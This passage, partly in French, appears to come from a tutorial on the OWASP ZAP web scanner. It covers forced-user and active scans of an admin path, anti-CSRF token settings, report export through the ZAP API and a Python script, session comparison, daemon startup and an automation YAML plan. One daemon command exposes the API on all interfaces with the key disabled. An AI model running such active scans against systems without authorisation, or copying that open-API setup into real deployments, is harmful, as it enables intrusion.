3. Observer les résultats (403 Forbidden?)

4. Set "admin" as Forced User
5. Active Scan sur /admin/
6. Observer les résultats (200 OK, vulnérabilités détectées)

Tools → Options → Anti CSRF Tokens
Add token name: csrf_token, _csrf, authenticity_token

GET /transfer HTTP/1.1

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abc123xyz789">
  <input type="text" name="amount">
  <input type="submit" value="Transfer">
</form>

POST /transfer HTTP/1.1
Content-Type: application/x-www-form-urlencoded

csrf_token=abc123xyz789&amount=1000

Report → Generate HTML Report
1. Title: "Security Assessment - MyApp"
2. Template: Traditional HTML
3. Report file name: zap_report.html
4. Include: All Alerts
5. Generate Report

Report → Generate XML Report

1. Summary
   - Total URLs analyzed
   - Alerts by risk level
   - Alerts by confidence

2. Alerts
   - High Risk
     - [Alert Name]
       - Description
       - URL(s)
       - Parameter
       - Attack
       - Evidence
       - Solution
       - Reference
       - CWE ID
       - WASC ID
   - Medium Risk
   - Low Risk
   - Informational

3. Appendix
   - Alert counts by type
   - Alert counts by site

Manage Add-ons → Marketplace → "Report Generation"

1. Aller dans ~/.ZAP/reports/
2. Copier un template existant
3. Modifier le template (Thymeleaf syntax)
4. Utiliser dans Report → Generate Report

# Via API
curl "http://localhost:8080/OTHER/core/other/csvreport/?apikey=YOUR_KEY" -o report.csv

# Via script Python
import requests
import csv

ZAP_URL = "http://localhost:8080"
API_KEY = "your-api-key"

# Récupérer les alertes
alerts = requests.get(
    f"{ZAP_URL}/JSON/alert/view/alerts/",
    params={"apikey": API_KEY}
).json()["alerts"]

# Écrire en CSV
with open("zap_alerts.csv", "w", newline="") as csvfile:
    fieldnames = ["alert", "risk", "confidence", "url", "param", "evidence", "solution"]
    writer = csv.DictWriter(csvfile, fieldnames=fieldnames)

    writer.writeheader()
    for alert in alerts:
        writer.writerow({
            "alert": alert["alert"],
            "risk": alert["risk"],
            "confidence": alert["confidence"],
            "url": alert["url"],
            "param": alert["param"],
            "evidence": alert["evidence"],
            "solution": alert["solution"]
        })

print("Report saved to zap_alerts.csv")

Manage Add-ons → Marketplace → "Diff"

1. Charger la première session (scan baseline)
2. Tools → Compare with another session
3. Sélectionner la deuxième session (nouveau scan)
4. Le rapport montre :
   - Nouvelles alertes
   - Alertes résolues
   - Alertes inchangées

Comparison Report: Baseline vs New Scan

Summary:
- Total alerts (baseline): 45
- Total alerts (new): 38
- New alerts: 5
- Resolved alerts: 12
- Unchanged alerts: 33

New Alerts (5):
1. [High] SQL Injection in /api/products?id=
2. [Medium] XSS in /search?q=
3. [Low] Cookie without SameSite
4. [Info] Deprecated TLS version
5. [Info] Missing X-Frame-Options

Resolved Alerts (12):
1. [High] Path Traversal in /download (FIXED)
2. [Medium] CSRF in /transfer (FIXED)
...

# Lancer ZAP en mode daemon
zap.sh -daemon -host 0.0.0.0 -port 8080 -config api.disablekey=true

# Avec API key
zap.sh -daemon -host 0.0.0.0 -port 8080 -config api.key=your-secret-key

# Écouter uniquement sur localhost
zap.sh -daemon -port 8080

curl http://localhost:8080/JSON/core/view/version/
# {"version":"2.14.0"}

---
env:
  contexts:
    - name: "MyApp"
      urls:
        - "http://exemple.com"
      includePaths:
        - "http://exemple.com/.*"
      excludePaths:
        - "http://exemple.com/logout.*"
  parameters:
    failOnError: true
    failOnWarning: false
    progressToStdout: true

jobs:
  - type: spider
    parameters:
      maxDuration: 5
      maxDepth: 10
      numberOfThreads: 5

  - type: spiderAjax
    parameters:
      maxDuration: 5
      maxCrawlDepth: 10
      numberOfBrowsers: 2

  - type: passiveScan-wait
    parameters:
      maxDuration: 10

  - type: activeScan
    parameters:
      policy: "Default Policy"
      maxRuleDurationInMins: 1
      maxScanDurationInMins: 10

  - type: report
    parameters:
      template: "traditional-html"
      reportDir: "/tmp/zap-reports"
      reportFile: "zap-report"
      reportTitle: "Security Assessment Report"
      reportDescription: "Automated security scan"